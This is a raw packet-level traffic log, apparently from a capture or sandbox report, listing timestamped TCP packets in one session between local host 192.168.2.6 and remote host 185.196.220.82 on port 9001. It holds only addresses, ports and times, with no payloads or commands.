Dec 17, 2024 11:49:51.646624088 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.664779902 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.664843082 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.664922953 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.665098906 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.665152073 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.665198088 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.665210962 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.665956020 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.666008949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.666011095 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.666306019 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.666716099 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.666897058 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.666903973 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.666944981 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.667506933 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.667557001 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.667581081 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.667635918 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.668312073 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.668437958 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.668498993 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.669209003 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.669244051 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.669255972 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.669332027 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.669861078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.669992924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.670048952 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.670690060 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.670790911 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.670838118 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.670881033 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.671441078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.671495914 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.671597004 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.671698093 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.672346115 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.672384977 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.672432899 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.673007965 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.673166990 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.673230886 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.673784018 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.673851967 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.673912048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.674046040 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.674567938 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.674627066 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.674747944 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.674904108 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.675518990 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.675664902 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.675667048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.676147938 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.676209927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.676321030 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.676507950 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.676923037 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.677031994 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.677079916 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.677721024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.677808046 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.677866936 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.678544044 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.678576946 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.678597927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.678627968 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.679300070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.679358006 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.679366112 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.679430008 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.680119991 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.680253983 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.680305958 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.680354118 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.680855036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.680911064 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.680967093 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.681126118 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.681667089 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.681762934 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.681776047 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.681826115 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.682460070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.682509899 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.682570934 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.682740927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.683267117 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.683413982 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.683469057 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.684000969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.684124947 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.684187889 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.684808969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.684844017 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.684868097 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.684886932 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.695075989 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.747703075 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.747859001 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.748152971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.748155117 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.748193026 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.748209000 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.748910904 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.748970985 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.749038935 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.749342918 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.749664068 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.749717951 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.749794960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.750076056 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.750473976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.750696898 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.750751019 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.751252890 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.751285076 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.751317978 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.751399994 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.752275944 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.752309084 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.752340078 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.752363920 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.752880096 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.752954960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.753006935 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.753612041 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.753740072 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.753801107 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.754378080 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.754431009 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.754498959 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.754761934 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.755183935 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.755235910 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.755239964 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.755477905 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.755930901 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.756036997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.756062984 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.756082058 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.756715059 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.756763935 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.756809950 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.756850004 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.757503986 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.757560968 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.757628918 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.758301020 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.758407116 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.758450985 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.759499073 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.759660006 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.759686947 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.759735107 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.760495901 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.760549068 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.760612011 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.760651112 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.761037111 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.761068106 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.761118889 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.761207104 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.761485100 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.761529922 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.761588097 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.761709929 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.762532949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.762545109 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.762588978 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.763027906 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.763139009 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.763176918 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.763267994 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.763792038 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.763833046 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.763926029 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.764225960 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.764566898 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.764620066 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.764643908 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.764739037 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.765445948 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.765499115 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.765528917 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.765594006 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.766160011 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.766359091 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.766417027 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.767261028 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.767276049 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.767329931 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.767776012 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.767796040 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.767838001 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.797547102 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.804157019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.856935024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.856946945 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.856990099 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.857007027 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.857285023 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.857356071 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.857398987 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.858131886 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.858187914 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.858211040 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.858259916 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.858889103 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.858906031 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.858942986 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.858973980 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.859603882 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.859698057 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.859735012 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.860389948 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.860435963 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.860446930 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.860582113 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.861229897 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.861278057 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.861303091 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.861532927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.861946106 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.861998081 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.862071037 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.862117052 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.862746000 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.862797022 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.862880945 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.862926006 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.863601923 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.863698959 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.863715887 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.864326000 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.864371061 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.864454985 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.864569902 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.865319014 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.865330935 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.865375042 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.866115093 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.866286039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.866329908 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.866683006 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.866811991 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.866863966 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.867491961 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.867602110 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.867643118 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.868241072 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.868324995 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.868370056 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.869064093 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.869226933 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.869270086 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.869812012 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.869935989 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.870105982 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.870609045 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.870786905 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.870862961 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.871640921 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.871654034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.871700048 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.872325897 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.872415066 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.872483969 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.872968912 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.873126984 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.873244047 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.873719931 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.873886108 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.873992920 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.874612093 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.874687910 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.874756098 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.875309944 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.875366926 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.875674009 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.876121044 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.876260996 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.876401901 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.876883984 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.876960039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.877036095 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.923383951 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.923434973 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.924257994 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.936599016 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.939608097 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.939697981 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.939793110 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.939834118 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.939987898 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.940037966 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.940061092 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.940113068 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.940581083 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.940624952 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.940699100 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.940893888 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.941385031 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.941436052 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.941474915 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.941560984 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.942192078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.942212105 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.942236900 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.942250967 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.942965031 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.943012953 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.943063974 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.943108082 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.943743944 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.943788052 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.943882942 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.943919897 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.944559097 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.944602966 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.944664955 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.944720030 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.945352077 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.945398092 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.945399046 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.945486069 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.946098089 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.946160078 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.946194887 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.946402073 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.947124004 CET	9001	49784	185.196.220.82	192.168.2.6
